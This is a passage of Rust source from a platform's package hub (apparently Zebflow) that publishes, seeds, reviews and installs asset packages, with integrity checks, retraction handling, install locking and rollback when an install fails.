project_initialization,
files: preview.entries.clone(),
};
let artifact_bytes = encode_hub_artifact(&package_id, &version, &manifest, "HUB_PUBLISH")?;
let artifact_sha256 = sha256_hex(&artifact_bytes);
self.enforce_publisher_package_quota(
&store,
&publisher,
&package_id,
existing_package.as_ref(),
artifact_bytes.len() + referenced_artifacts.iter().map(Vec::len).sum::<usize>(),
)?;
for bytes in &referenced_artifacts {
self.store_artifact_in(&store, bytes)?;
}
atomic_write(&artifact_abs, &artifact_bytes)?;
let package = HubAssetPackage {
package_pk: existing_package
.as_ref()
.map(|item| item.package_pk.clone())
.filter(|value| !value.is_empty())
.unwrap_or_else(|| format!("mpkg_{}", random_hex(8))),
authority_id: authority.authority_id.clone(),
publisher_pk: publisher.publisher_pk.clone(),
package_id: package_id.clone(),
authority_owner: authority.owner.clone(),
authority_project: authority.project.clone(),
publisher_owner: publisher_owner.clone(),
publisher_id: publisher_id.clone(),
publisher_display_name: resolved_publisher_display_name,
publisher_url: resolved_publisher_url,
publisher_email: resolved_publisher_email,
asset_kind: preview.asset_kind.clone(),
title: manifest.title.clone(),
description: manifest.description.clone(),
summary: presentation.summary,
description_md: presentation.description_md,
image_url: presentation.image_url,
media: presentation.media,
gallery: presentation.gallery,
visibility: normalize_visibility(&visibility),
tags,
retracted_at: None,
retracted_reason: String::new(),
created_at: existing_package.map(|item| item.created_at).unwrap_or(now),
updated_at: now,
};
let version_row = HubAssetVersion {
package_pk: package.package_pk.clone(),
package_id: package_id.clone(),
version: version.to_string(),
authority_owner: authority.owner.clone(),
authority_project: authority.project.clone(),
publisher_owner,
publisher_id,
source_owner,
source_project,
source_kind: source_type,
source_ref,
artifact_rel_path: artifact_rel,
artifact_sha256,
manifest: serde_json::to_value(&manifest)
.map_err(|err| PlatformError::new("HUB_PUBLISH", err.to_string()))?,
retracted_at: None,
retracted_reason: String::new(),
created_at: now,
};
store.data.put_hub_asset_package(&package)?;
store.data.put_hub_asset_version(&version_row)?;
Ok((package, version_row))
}
pub fn seed_blessed_catalog(&self) -> Result<HubSeedReport, PlatformError> {
let mut report = HubSeedReport::default();
let authority = self.ensure_store_authority()?;
let publisher = self.ensure_reserved_publisher()?;
for package in crate::platform::blessed::blessed_packages()? {
let coordinate = format!("{}@{}", package.package_id, package.version);
match self
.local_store
.data
.get_hub_asset_version(&package.package_id, &package.version)?
{
Some(_) => {
report.skipped.push(coordinate);
continue;
}
None => {}
}
match self.seed_blessed_package(&authority, &publisher, package) {
Ok(()) => report.published.push(coordinate),
Err(error) => report
.errors
.push(format!("{coordinate}: {}", error.message)),
}
}
self.retire_departed_blessed_packages(&mut report)?;
Ok(report)
}
fn retire_departed_blessed_packages(
&self,
report: &mut HubSeedReport,
) -> Result<(), PlatformError> {
let carried: std::collections::BTreeSet<String> =
crate::platform::blessed::blessed_packages()?
.into_iter()
.map(|package| package.package_id)
.collect();
for package in self.local_store.data.list_hub_asset_packages()? {
if !package.package_id.starts_with("zebflow.") || carried.contains(&package.package_id)
{
continue;
}
for version in self
.local_store
.data
.list_hub_asset_versions(&package.package_id)?
{
if version.retracted_at.is_some() {
continue;
}
let coordinate = format!("{}@{}", package.package_id, version.version);
match self.local_store.data.retract_hub_asset_version(
&package.package_id,
&version.version,
now_ts(),
"no longer carried by this Zebflow build",
) {
Ok(()) => report.retired.push(coordinate),
Err(error) => report
.errors
.push(format!("{coordinate}: {}", error.message)),
}
}
}
Ok(())
}
fn ensure_reserved_publisher(&self) -> Result<HubPublisher, PlatformError> {
let reserved = crate::platform::blessed::RESERVED_HUB_PUBLISHER_ID;
if let Some(existing) = self.local_store.data.get_hub_publisher(
HUB_SERVICE_SCOPE_OWNER,
HUB_SERVICE_SCOPE_PROJECT,
reserved,
)? {
return Ok(existing);
}
let authority = self.ensure_store_authority()?;
let now = now_ts();
let row = HubPublisher {
authority_id: authority.authority_id,
publisher_pk: format!("mpub_{}", random_hex(8)),
owner: HUB_SERVICE_SCOPE_OWNER.to_string(),
project: HUB_SERVICE_SCOPE_PROJECT.to_string(),
publisher_id: reserved.to_string(),
display_name: "Zebflow".to_string(),
publisher_url: normalize_publisher_url(reserved, ""),
email: String::new(),
description:
"Blessed content carried by the platform release and seeded on first boot."
.to_string(),
icon_url: String::new(),
website_url: "https://zebflow.com".to_string(),
enabled: true,
can_read: true,
can_publish: true,
can_manage: false,
max_packages: 1024,
max_package_bytes: 1024 * 1024 * 1024,
max_media_files: DEFAULT_PUBLISHER_MAX_MEDIA_FILES,
max_image_bytes: DEFAULT_PUBLISHER_MAX_IMAGE_BYTES,
created_at: now,
updated_at: now,
};
self.local_store.data.put_hub_publisher(&row)?;
Ok(row)
}
fn seed_blessed_package(
&self,
authority: &HubAuthority,
publisher: &HubPublisher,
package: crate::platform::blessed::BlessedPackage,
) -> Result<(), PlatformError> {
if !publisher.enabled || !publisher.can_publish {
return Err(PlatformError::new(
"HUB_PUBLISHER_FORBIDDEN",
"the reserved publisher is disabled",
));
}
let package_id = canonical_hub_package_id(&publisher.publisher_id, &package.package_id)?;
validate_hub_version(&package.version)?;
self.enforce_release_immutability(&self.local_store, &package_id, &package.version)?;
let existing_package = self.local_store.data.get_hub_asset_package(&package_id)?;
let entries: Vec<HubPackageFile> = package
.files
.iter()
.map(|file| hub_entry_from_bytes(&file.rel_path, file.bytes))
.collect();
if entries.is_empty() {
return Err(PlatformError::new(
"HUB_PUBLISH_EMPTY",
"blessed package carries no files",
));
}
let total_bytes = entries.iter().map(|entry| entry.size_bytes).sum();
let preview = HubExportPreview {
asset_kind: package.asset_kind.to_string(),
source_type: "blessed".to_string(),
source_ref: package.source_ref.clone(),
name: package.title.clone(),
description: package.description.clone(),
total_files: entries.len(),
total_bytes,
entries,
warnings: Vec::new(),
};
self.finish_publish(
self.local_store.clone(),
PublishSubmission {
authority: authority.clone(),
publisher: publisher.clone(),
publisher_owner: publisher.publisher_id.clone(),
publisher_id: publisher.publisher_id.clone(),
publisher_display_name: String::new(),
publisher_url: String::new(),
publisher_email: String::new(),
source_owner: publisher.publisher_id.clone(),
source_project: "blessed".to_string(),
source_type: "blessed".to_string(),
source_ref: package.source_ref,
package_id,
version: package.version,
resolved_title: package.title,
resolved_description: package.description,
preview,
review_layout: publish_review_layout(&ResolvedProjectLayout::platform_default()),
recorded_layout: None,
active_pipelines: Vec::new(),
project_initialization: HubPackageInitialization::default(),
existing_package,
cover_source: None,
visibility: "public".to_string(),
tags: vec!["blessed".to_string()],
},
)?;
Ok(())
}
pub fn review_publish_asset(
&self,
source_owner: &str,
source_project: &str,
publisher_id: &str,
source_type: &str,
source_ref: &str,
package_id: &str,
version: &str,
title: &str,
description: &str,
image_file_path: &str,
visibility: &str,
project_options: HubProjectBundlePublishOptions,
tags: Vec<String>,
) -> Result<HubPublishReview, PlatformError> {
let store = self.require_public_store()?;
let source_owner = slug_segment(source_owner);
let source_project = slug_segment(source_project);
let publisher_id = normalize_hub_id_segment(publisher_id, "publisher id")?;
let source_type = normalize_source_type(source_type);
let package_id = canonical_hub_package_id(&publisher_id, package_id)?;
let version = version.trim().to_string();
validate_hub_version(&version)?;
let Some(publisher) = store.data.get_hub_publisher(
HUB_SERVICE_SCOPE_OWNER,
HUB_SERVICE_SCOPE_PROJECT,
&publisher_id,
)?
else {
return Err(PlatformError::new(
"HUB_PUBLISHER_MISSING",
"publisher not found",
));
};
let mut preview =
self.preview_publish_source(&source_owner, &source_project, &source_type, source_ref)?;
let project_initialization = self.apply_project_bundle_publish_options(
&source_owner,
&source_project,
&source_type,
&mut preview,
project_options,
)?;
sanitize_hub_export_entries(&mut preview.entries)?;
let media = hub_cover_media_review(
&self
.projects
.project_layout(&source_owner, &source_project)?,
image_file_path,
&publisher,
)?;
let title = if title.trim().is_empty() {
preview.name.clone()
} else {
title.trim().to_string()
};
let description = if description.trim().is_empty() {
preview.description.clone()
} else {
description.trim().to_string()
};
review_publish_artifact(
&publish_review_layout(
&self
.projects
.project_layout(&source_owner, &source_project)?
.repo_layout,
),
package_id,
version,
preview,
title,
description,
normalize_visibility(visibility),
tags,
media,
project_initialization,
&store.artifact_channel(),
)
}
fn apply_project_bundle_publish_options(
&self,
source_owner: &str,
source_project: &str,
source_type: &str,
preview: &mut HubExportPreview,
mut options: HubProjectBundlePublishOptions,
) -> Result<HubPackageInitialization, PlatformError> {
if source_type != "project_files" || preview.asset_kind != HUB_ASSET_KIND_PROJECT_BUNDLE {
return Ok(HubPackageInitialization::default());
}
let layout = self
.projects
.project_layout(source_owner, source_project)?
.repo_layout;
let schema_document_rel = layout.schema_document_rel();
options.include_libraries.sort();
options.include_libraries.dedup();
options.initial_data_paths = options
.initial_data_paths
.into_iter()
.map(|path| normalize_repo_rel(&path))
.filter(|path| initial_data_engine_for_path(&layout, path).is_some())
.collect();
options.initial_data_paths.sort();
options.initial_data_paths.dedup();
if !options.include_sekejap_schema {
preview
.entries
.retain(|entry| !layout.is_schema_rel_path(&normalize_repo_rel(&entry.rel_path)));
} else if !preview
.entries
.iter()
.any(|entry| normalize_repo_rel(&entry.rel_path) == schema_document_rel)
{
let export = sekejap::export_schema(&self.data_root, source_owner, source_project)?;
if !export.tables.is_empty() {
let content = String::from_utf8(sekejap::encode_schema_export(export)?)
.map_err(|err| PlatformError::new("HUB_PUBLISH", err.to_string()))?;
preview.entries.push(text_export_entry(
&schema_document_rel,
"sekejap schema",
"Portable Sekejap schema",
content,
));
}
}
let sqlite_schema_rel = layout.sqlite_schema_document_rel();
preview
.entries
.retain(|entry| normalize_repo_rel(&entry.rel_path) != sqlite_schema_rel);
if options.include_sqlite_schema {
if let Some(sql) =
sqlite_schema::export_schema_sql(&self.data_root, source_owner, source_project)?
{
preview.entries.push(text_export_entry(
&sqlite_schema_rel,
"sqlite schema",
"Portable SQLite schema",
sql,
));
}
}
let initial_data = if options.include_initial_data {
preview
.entries
.iter()
.filter_map(|entry| initial_data_step_from_entry(&layout, entry))
.filter(|step| {
options
.initial_data_paths
.iter()
.any(|path| path == &step.path)
})
.collect::<Vec<_>>()
} else {
Vec::new()
};
rewrite_project_libraries(preview, &options.include_libraries)?;
let init = HubPackageInitialization {
include_sekejap_schema: options.include_sekejap_schema,
include_sqlite_schema: options.include_sqlite_schema,
libraries: options.include_libraries,
initial_data,
};
let init_content = serde_json::to_string_pretty(&init)
.map_err(|err| PlatformError::new("HUB_PUBLISH", err.to_string()))?
+ "\n";
preview
.entries
.retain(|entry| normalize_repo_rel(&entry.rel_path) != "zebflow.init.json");
preview.entries.push(text_export_entry(
"zebflow.init.json",
"project initialization",
"Project bundle initialization plan",
init_content,
));
Ok(init)
}
pub fn list_project_initial_data(
&self,
owner: &str,
project: &str,
) -> Result<Vec<HubPackageInitialDataStep>, PlatformError> {
let layout = self.projects.project_layout(owner, project)?;
let mut steps = Vec::new();
for dir in &layout.repo_layout.initial_data {
let root = layout.repo_dir.join(&dir.path);
if !root.is_dir() {
continue;
}
collect_initial_data_steps(
&layout.repo_layout,
&layout.repo_dir,
&root,
&dir.engine,
&mut steps,
)?;
}
steps.sort_by(|a, b| a.path.cmp(&b.path));
steps.dedup_by(|a, b| a.path == b.path);
Ok(steps)
}
pub fn initiate_project_store(
&self,
owner: &str,
project: &str,
) -> Result<Vec<HubPackageInitialDataStep>, PlatformError> {
let layout = self.projects.project_layout(owner, project)?;
sekejap::apply_schema_from_repo(&self.data_root, owner, project)?;
sqlite_schema::apply_schema_from_repo(
&self.data_root,
owner,
project,
&layout.repo_layout,
)?;
let steps = self.list_project_initial_data(owner, project)?;
execute_project_initial_data(&self.data_root, owner, project, &layout, &steps)?;
Ok(steps)
}
pub fn install_asset(
&self,
target_owner: &str,
target_project: &str,
package_id: &str,
version: &str,
target_folder: &str,
) -> Result<HubInstallResult, PlatformError> {
let store = self.local_store.clone();
let result = self.install_asset_from_store(
&store,
crate::contracts::kinds::DependencyLockSource::HubLocal,
target_owner,
target_project,
package_id,
version,
target_folder,
);
match result {
Err(error) if error.code == "HUB_ASSET_MISSING" => {
let Some(public) = self.public_store_if_exists()? else {
return Err(error);
};
self.install_asset_from_store(
&public,
crate::contracts::kinds::DependencyLockSource::HubPublic,
target_owner,
target_project,
package_id,
version,
target_folder,
)
}
other => other,
}
}
#[allow(clippy::too_many_arguments)]
fn install_asset_from_store(
&self,
store: &HubStore,
source: crate::contracts::kinds::DependencyLockSource,
target_owner: &str,
target_project: &str,
package_id: &str,
version: &str,
target_folder: &str,
) -> Result<HubInstallResult, PlatformError> {
let target_owner = slug_segment(target_owner);
let target_project = slug_segment(target_project);
let Some(version_row) = store.data.get_hub_asset_version(package_id, version)? else {
return Err(PlatformError::new(
"HUB_ASSET_MISSING",
"asset version not found",
));
};
if version_row.retracted_at.is_some() {
return Err(PlatformError::new(
"HUB_VERSION_RETRACTED",
retraction_message(package_id, version, &version_row.retracted_reason),
));
}
let artifact_abs = self.data_root.join(&version_row.artifact_rel_path);
let raw = fs::read(&artifact_abs)?;
verify_hub_artifact_bytes(&raw, &version_row.artifact_sha256)?;
let payload = parse_hub_artifact_bytes(&raw, "HUB_INSTALL")?;
self.install_artifact_payload_from(
target_owner,
target_project,
package_id,
version,
target_folder,
HubInstallProvenance::new(source, package_id, version),
payload,
&store.artifact_channel(),
)
}
pub fn artifact_store(&self) -> HubArtifactChannel {
self.local_store.artifact_channel()
}
fn remote_artifact_cache_root(&self) -> PathBuf {
self.data_root
.join("platform")
.join("cache")
.join("hub-artifacts")
}
async fn remote_artifact_channel(
&self,
files: &[HubPackageFile],
channel: &HubRepositoryChannel,
package_id: &str,
version: &str,
) -> Result<HubArtifactChannel, PlatformError> {
let store_base = self.remote_artifact_cache_root();
let source = channel.source();
for file in files {
let Some(HubPackageFileSupply::Referenced(artifact)) = file.supply() else {
continue;
};
validate_artifact_digest(&artifact.sha256)?;
fetch_referenced_artifact(
&store_base,
&channel.artifact_url(package_id, version, &artifact.sha256),
&source.read_token,
&file.rel_path,
artifact,
file.size_bytes,
)
.await?;
}
Ok(HubArtifactChannel::Remote(RemoteHubArtifacts {
cache_base: store_base,
origin: source.display(),
}))
}
pub fn store_artifact(&self, bytes: &[u8]) -> Result<String, PlatformError> {
let store = self.local_store.clone();
self.store_artifact_in(&store, bytes)
}
fn store_artifact_in(&self, store: &HubStore, bytes: &[u8]) -> Result<String, PlatformError> {
if bytes.len() > MAX_HUB_PACKAGE_REFERENCED_FILE_BYTES {
return Err(PlatformError::new(
"HUB_ARTIFACT_TOO_LARGE",
format!(
"artifact is {} bytes, over the {MAX_HUB_PACKAGE_REFERENCED_FILE_BYTES} \
byte limit for a referenced artifact",
bytes.len()
),
));
}
let sha256 = sha256_hex(bytes);
let path = referenced_artifact_path(&store.root, &sha256)?;
if let Some(parent) = path.parent() {
fs::create_dir_all(parent)?;
}
atomic_write(&path, bytes)?;
Ok(sha256)
}
pub fn review_asset_install(
&self,
target_owner: &str,
target_project: &str,
package_id: &str,
version: &str,
target_folder: &str,
) -> Result<HubInstallReview, PlatformError> {
let store = self.local_store.clone();
let result = self.review_asset_install_from_store(
&store,
target_owner,
target_project,
package_id,
version,
target_folder,
);
match result {
Err(error) if error.code == "HUB_ASSET_MISSING" => {
let Some(public) = self.public_store_if_exists()? else {
return Err(error);
};
self.review_asset_install_from_store(
&public,
target_owner,
target_project,
package_id,
version,
target_folder,
)
}
other => other,
}
}
#[allow(clippy::too_many_arguments)]
fn review_asset_install_from_store(
&self,
store: &HubStore,
target_owner: &str,
target_project: &str,
package_id: &str,
version: &str,
target_folder: &str,
) -> Result<HubInstallReview, PlatformError> {
let target_owner = slug_segment(target_owner);
let target_project = slug_segment(target_project);
let Some(version_row) = store.data.get_hub_asset_version(package_id, version)? else {
return Err(PlatformError::new(
"HUB_ASSET_MISSING",
"asset version not found",
));
};
if version_row.retracted_at.is_some() {
return Err(PlatformError::new(
"HUB_VERSION_RETRACTED",
retraction_message(package_id, version, &version_row.retracted_reason),
));
}
let artifact_abs = self.data_root.join(&version_row.artifact_rel_path);
let raw = fs::read(&artifact_abs)?;
verify_hub_artifact_bytes(&raw, &version_row.artifact_sha256)?;
let payload = parse_hub_artifact_bytes(&raw, "HUB_INSTALL_REVIEW")?;
self.review_artifact_payload(
&target_owner,
&target_project,
package_id,
version,
target_folder,
&payload,
&store.artifact_channel(),
)
}
pub fn review_local_node_bundle(
&self,
target_owner: &str,
target_project: &str,
package_id: &str,
version: &str,
target_folder: &str,
artifact: Value,
) -> Result<HubInstallReview, PlatformError> {
let target_owner = slug_segment(target_owner);
let target_project = slug_segment(target_project);
let payload = parse_local_node_bundle_artifact(artifact, "NODE_BUNDLE_INSTALL_REVIEW")?;
self.review_artifact_payload(
&target_owner,
&target_project,
package_id,
version,
target_folder,
&payload,
&HubArtifactChannel::unresolvable(LOCAL_NODE_BUNDLE_BODY_HAS_NO_CHANNEL),
)
}
pub fn install_local_node_bundle(
&self,
target_owner: &str,
target_project: &str,
package_id: &str,
version: &str,
target_folder: &str,
artifact: Value,
) -> Result<HubInstallResult, PlatformError> {
let payload = parse_local_node_bundle_artifact(artifact, "NODE_BUNDLE_INSTALL")?;
self.install_node_bundle_payload(
slug_segment(target_owner),
slug_segment(target_project),
package_id,
version,
target_folder,
payload,
&HubArtifactChannel::unresolvable(LOCAL_NODE_BUNDLE_BODY_HAS_NO_CHANNEL),
)
}
pub fn review_local_node_bundle_document(
&self,
target_owner: &str,
target_project: &str,
package_id: &str,
version: &str,
target_folder: &str,
document_path: &Path,
) -> Result<HubInstallReview, PlatformError> {
let payload = read_local_node_bundle_document(document_path, "NODE_BUNDLE_INSTALL_REVIEW")?;
self.review_artifact_payload(
&slug_segment(target_owner),
&slug_segment(target_project),
package_id,
version,
target_folder,
&payload,
&HubArtifactChannel::local(local_document_channel_base(document_path)),
)
}
pub fn install_local_node_bundle_document(
&self,
target_owner: &str,
target_project: &str,
package_id: &str,
version: &str,
target_folder: &str,
document_path: &Path,
) -> Result<HubInstallResult, PlatformError> {
let payload = read_local_node_bundle_document(document_path, "NODE_BUNDLE_INSTALL")?;
self.install_node_bundle_payload(
slug_segment(target_owner),
slug_segment(target_project),
package_id,
version,
target_folder,
payload,
&HubArtifactChannel::local(local_document_channel_base(document_path)),
)
}
#[allow(clippy::too_many_arguments)]
fn install_node_bundle_payload(
&self,
target_owner: String,
target_project: String,
package_id: &str,
version: &str,
target_folder: &str,
payload: HubPackageSpec,
artifacts: &HubArtifactChannel,
) -> Result<HubInstallResult, PlatformError> {
let review = self.review_artifact_payload(
&target_owner,
&target_project,
package_id,
version,
target_folder,
&payload,
artifacts,
)?;
if !review.violations.is_empty() {
return Err(PlatformError::new(
"NODE_BUNDLE_INSTALL_REFUSED",
format!(
"package cannot be installed: {}",
review.violations.join("; ")
),
));
}
self.install_artifact_payload_from(
target_owner,
target_project,
package_id,
version,
target_folder,
HubInstallProvenance::new(
crate::contracts::kinds::DependencyLockSource::DirectFile,
package_id,
version,
),
payload,
artifacts,
)
}
#[allow(clippy::too_many_arguments)]
fn install_artifact_payload_from(
&self,
target_owner: String,
target_project: String,
package_id: &str,
version: &str,
target_folder: &str,
provenance: HubInstallProvenance,
payload: HubPackageSpec,
artifacts: &HubArtifactChannel,
) -> Result<HubInstallResult, PlatformError> {
let layout = self
.projects
.project_layout(&target_owner, &target_project)?;
let install_lock = self.install_lock(&layout.repo_dir);
let _install_guard = install_lock
.lock()
.unwrap_or_else(|error| error.into_inner());
let placement =
HubInstallPlacement::new(&layout.repo_layout, &payload, package_id, target_folder);
let install_root = placement.install_root().to_string();
let install_base = hub_install_base(&layout, &payload.asset_kind);
let prepared =
prepare_hub_install_entries(&placement, &install_base, &payload.files, artifacts)?;
validate_prepared_pipeline_sources(&layout.repo_layout, &payload.asset_kind, &prepared)?;
refuse_prepared_install_violations(&layout.repo_layout, &payload.asset_kind, &prepared)?;
if payload.asset_kind == HUB_ASSET_KIND_SKILL {
let name = payload
.files
.iter()
.find_map(|f| {
normalize_repo_rel(&f.rel_path)
.strip_prefix(&format!("{}/", crate::platform::skills::PROJECT_SKILLS_DIR))
.and_then(|rest| rest.split('/').next())
.map(str::to_string)
})
.ok_or_else(|| PlatformError::new("HUB_SKILL_INVALID", "the package carries no skills/<name>/ folder"))?;
validate_skill_entries(&name, &payload.files)?;
}
let previous_lock = if payload.asset_kind == HUB_ASSET_KIND_NODE_BUNDLE
|| payload.asset_kind == HUB_ASSET_KIND_RWE_LIBRARY
{
Some(self.dependency_lock.read(&target_owner, &target_project)?)
} else {
None
};
let mut pipelines_registered = Vec::new();
for entry in &prepared {
if let Err(error) = atomic_write(&entry.destination, &entry.bytes) {
let operation_error = PlatformError::new("HUB_INSTALL", error.to_string());
return Err(self.recover_failed_install(
&target_owner,
&target_project,
&install_base,
&prepared,
previous_lock.as_ref(),
operation_error,
));
}
}
for entry in &prepared {
if layout.repo_layout.is_pipeline_rel_path(&entry.install_rel) {
let source = String::from_utf8(entry.bytes.clone()).map_err(|error| {
PlatformError::new(
"HUB_INSTALL",
format!("pipeline source is not UTF-8: {error}"),
)
})?;
let (title, trigger_kind) = infer_pipeline_meta(&source, &entry.install_rel);
let meta = match self.projects.upsert_pipeline_definition(
&target_owner,
&target_project,
&entry.install_rel,
&title,
"",
&trigger_kind,
&source,
) {
Ok(meta) => meta,
Err(error) => {
return Err(self.recover_failed_install(
&target_owner,
&target_project,
&install_base,
&prepared,
previous_lock.as_ref(),
error,
));
}
};
pipelines_registered.push(meta.file_rel_path);
}
}
if payload.asset_kind == HUB_ASSET_KIND_RWE_LIBRARY {
if let Err(error) = self.record_installed_rwe_library(
&target_owner,
&target_project,
&install_root,
&provenance,
&install_base,
) {
return Err(self.recover_failed_install(
&target_owner,
&target_project,
&install_base,
&prepared,
previous_lock.as_ref(),
error,
));
}
}
if payload.asset_kind == HUB_ASSET_KIND_NODE_BUNDLE {
let dependency_result = self
.node_registry
.refresh_project(&target_owner, &target_project)
.and_then(|_| {
self.dependency_lock.record_installed_node_bundles(
&target_owner,
&target_project,
&install_root,
package_id,
provenance.source,
&provenance.source_id,
version,
)
})
.and_then(|_| {
self.node_registry
.sync_project_node_interfaces(&target_owner, &target_project)
});
if let Err(error) = dependency_result {
return Err(self.recover_failed_install(
&target_owner,
&target_project,
&install_base,
&prepared,
previous_lock.as_ref(),
error,
));
}
}
Ok(HubInstallResult {
package_id: package_id.to_string(),
version: version.to_string(),
asset_kind: payload.asset_kind,
install_root,
files_written: payload.files.len(),
pipelines_registered,
})
}
fn record_installed_rwe_library(
&self,
owner: &str,
project: &str,
install_root: &str,
provenance: &HubInstallProvenance,
install_base: &Path,
) -> Result<(), PlatformError> {
let package_dir = install_base.join(install_root);
let manifest_bytes = fs::read(package_dir.join("manifest.json")).map_err(|error| {
PlatformError::new(
"HUB_INSTALL",
format!("rwe library package has no readable manifest.json: {error}"),
)
})?;
let manifest =
decode_contract::<crate::contracts::kinds::RweLibraryManifestContract>(&manifest_bytes)
.map_err(|error| {
PlatformError::new(
"HUB_INSTALL",
format!("rwe library manifest.json is invalid: {error}"),
)
})?
.spec;
let Some((version_key, release)) = manifest
.versions
.iter()
.find(|(_, release)| release.source == "offline")
else {
return Err(PlatformError::new(
"HUB_INSTALL",
"rwe library package carries no offline release to pin",
));
};
let bundle_abs = package_dir.join(&release.entry);
if !bundle_abs.starts_with(&package_dir) {
return Err(PlatformError::new(
"HUB_INSTALL",
format!("rwe library entry '{}' escapes its package", release.entry),
));
}
let bundle_bytes = fs::read(&bundle_abs).map_err(|error| {
PlatformError::new(
"HUB_INSTALL",
format!(
"rwe library entry '{}' is not readable after install: {error}",
release.entry
),
)
})?;
let integrity = format!("sha256:{:x}", Sha256::digest(&bundle_bytes));
if !release.integrity.is_empty() && release.integrity != integrity {
return Err(PlatformError::new(
"HUB_INSTALL",
format!(
"rwe library entry '{}' does not match the digest its manifest declares",
release.entry
),
));
}
self.dependency_lock.enable_rwe_library(
&self.projects.configuration_service(),
owner,
project,
&manifest.name,
crate::contracts::kinds::DependencyLockArtifactSpec {
version: version_key.clone(),
source: provenance.source,
source_id: provenance.source_id.clone(),
entry: format!("{install_root}/{}", release.entry),
integrity,
},
)
}
fn install_lock(&self, repo_dir: &Path) -> Arc<Mutex<()>> {
let mut locks = self
.install_locks
.lock()
.unwrap_or_else(|error| error.into_inner());
locks
.entry(repo_dir.to_path_buf())
.or_insert_with(|| Arc::new(Mutex::new(())))
.clone()
}
fn recover_failed_install(
&self,
owner: &str,
project: &str,
install_base: &Path,
entries: &[PreparedHubInstallEntry],
previous_lock: Option<&crate::contracts::kinds::DependencyLockSpec>,
operation_error: PlatformError,
) -> PlatformError {
let mut recovery_errors = Vec::new();
if let Err(error) = restore_hub_install_entries(install_base, entries) {
recovery_errors.push(error.to_string());
}
if let Some(previous) = previous_lock {
if let Err(error) = self.dependency_lock.write(owner, project, previous) {
recovery_errors.push(error.to_string());
}
if let Err(error) = self.node_registry.refresh_project(owner, project) {
recovery_errors.push(error.to_string());
}
}
if let Err(error) = self.restore_pipeline_metadata(owner, project, entries) {
recovery_errors.push(error.to_string());
}
if recovery_errors.is_empty() {
operation_error
} else {
PlatformError::new(
"HUB_INSTALL_RECOVERY",
format!(
"installation failed ({operation_error}); recovery also failed: {}",
recovery_errors.join("; ")
),
)
}
}
fn restore_pipeline_metadata(
&self,
owner: &str,
project: &str,
entries: &[PreparedHubInstallEntry],
) -> Result<(), PlatformError> {
let layout = self.projects.project_layout(owner, project)?;
for entry in entries
.iter()
.filter(|entry| layout.repo_layout.is_pipeline_rel_path(&entry.install_rel))
{
if let Some(previous) = &entry.previous {
let source = String::from_utf8(previous.clone()).map_err(|error| {
PlatformError::new(
"HUB_INSTALL_RECOVERY",
format!("previous pipeline source is not UTF-8: {error}"),
)
})?;
let (title, trigger_kind) = infer_pipeline_meta(&source, &entry.install_rel);
self.projects.upsert_pipeline_definition(
owner,
project,
&entry.install_rel,
&title,
"",
&trigger_kind,
&source,
)?;
} else {
self.projects
.delete_pipeline(owner, project, &entry.install_rel)?;
}
}
Ok(())
}
fn review_artifact_payload(
&self,
target_owner: &str,
target_project: &str,
package_id: &str,
version: &str,
target_folder: &str,
payload: &HubPackageSpec,
artifacts: &HubArtifactChannel,
) -> Result<HubInstallReview, PlatformError> {
let layout = self.projects.project_layout(target_owner, target_project)?;
let placement =
HubInstallPlacement::new(&layout.repo_layout, payload, package_id, target_folder);
let install_root = placement.install_root().to_string();
let install_base = hub_install_base(&layout, &payload.asset_kind);
let mut files_added = Vec::new();
let mut files_overwritten = Vec::new();
let mut pipelines_registered = Vec::new();
let mut policy_entries = Vec::new();
for entry in &payload.files {
let install_rel = placement.destination(&entry.rel_path);
let dest_abs = install_base.join(&install_rel);
if dest_abs.exists() {
files_overwritten.push(install_rel.clone());
} else {
files_added.push(install_rel.clone());
}
if layout.repo_layout.is_pipeline_rel_path(&install_rel) {
pipelines_registered.push(
layout
.repo_layout
.strip_source(&install_rel)
.unwrap_or(&install_rel)
.to_string(),
);
}
policy_entries.push(package_policy_entry(&install_rel, entry, artifacts));
}
let mut policy = review_package_entries(
&layout.repo_layout,
&policy_entries,
Vec::new(),
PackageReviewOptions {
bundle_internal_paths: payload.asset_kind == HUB_ASSET_KIND_NODE_BUNDLE,
..PackageReviewOptions::default()
},
);
policy.risk_level = install_risk_level(&policy, !files_overwritten.is_empty());
Ok(HubInstallReview {
package_id: package_id.to_string(),
version: version.to_string(),
target_folder: target_folder.to_string(),
install_root,
asset_kind: payload.asset_kind.clone(),
files_added,
files_overwritten,
pipelines_registered,
nodes_used: policy.nodes_used,
credentials_required: policy.credentials_required,
external_urls: policy.external_urls,
database_effects: policy.database_effects,
filesystem_effects: policy.filesystem_effects,
network_effects: policy.network_effects,
code_execution: policy.code_execution,
public_endpoints: policy.public_endpoints,
schedules: policy.schedules,
large_files: policy.large_files,
seed_data: policy.seed_data,
database_initialization: policy.database_initialization,
project_initialization: serde_json::to_value(&payload.project_initialization)
.unwrap_or_else(|_| Value::Null),
installable: policy.violations.is_empty(),
violations: policy.violations,
warnings: policy.warnings,
risk_level: policy.risk_level,
})
}
pub fn get_asset_version(
&self,
package_id: &str,
version: &str,
) -> Result<Option<HubAssetVersion>, PlatformError> {
let store = self.require_public_store()?;
store.data.get_hub_asset_version(package_id, version)
}
pub fn get_asset_version_artifact(
&self,
package_id: &str,
version: &str,
) -> Result<(HubAssetVersion, Value), PlatformError> {
let (version_row, artifact, _) =
self.get_asset_version_install_artifact(package_id, version)?;
Ok((version_row, artifact))
}
pub fn get_asset_version_install_artifact(
&self,
package_id: &str,
version: &str,
) -> Result<(HubAssetVersion, Value, u64), PlatformError> {
let store = self.require_public_store()?;
let Some(version_row) = store.data.get_hub_asset_version(package_id, version)? else {
return Err(PlatformError::new(
"HUB_ASSET_MISSING",
"asset version not found",
));
};
if version_row.retracted_at.is_some() {
return Err(PlatformError::new(
"HUB_VERSION_RETRACTED",
retraction_message(package_id, version, &version_row.retracted_reason),
));
}
let artifact_abs = self.hub_artifact_path(&store, &version_row.artifact_rel_path)?;
let artifact_size_bytes = fs::metadata(&artifact_abs)?.len();
if artifact_size_bytes > MAX_REMOTE_HUB_ARTIFACT_BYTES {
return Err(PlatformError::new(
"HUB_ARTIFACT_TOO_LARGE",
"hub artifact exceeds maximum read size",
));
}
let raw = fs::read(&artifact_abs)?;
let actual_sha256 = sha256_hex(&raw);
if actual_sha256 != version_row.artifact_sha256 {
return Err(PlatformError::new(
"HUB_ARTIFACT_INTEGRITY",
format!(
"hub artifact hash mismatch: expected {}, got {}",
version_row.artifact_sha256, actual_sha256
),
));
}
let artifact = serde_json::from_slice::<Value>(&raw)
.map_err(|err| PlatformError::new("HUB_INSTALL", err.to_string()))?;
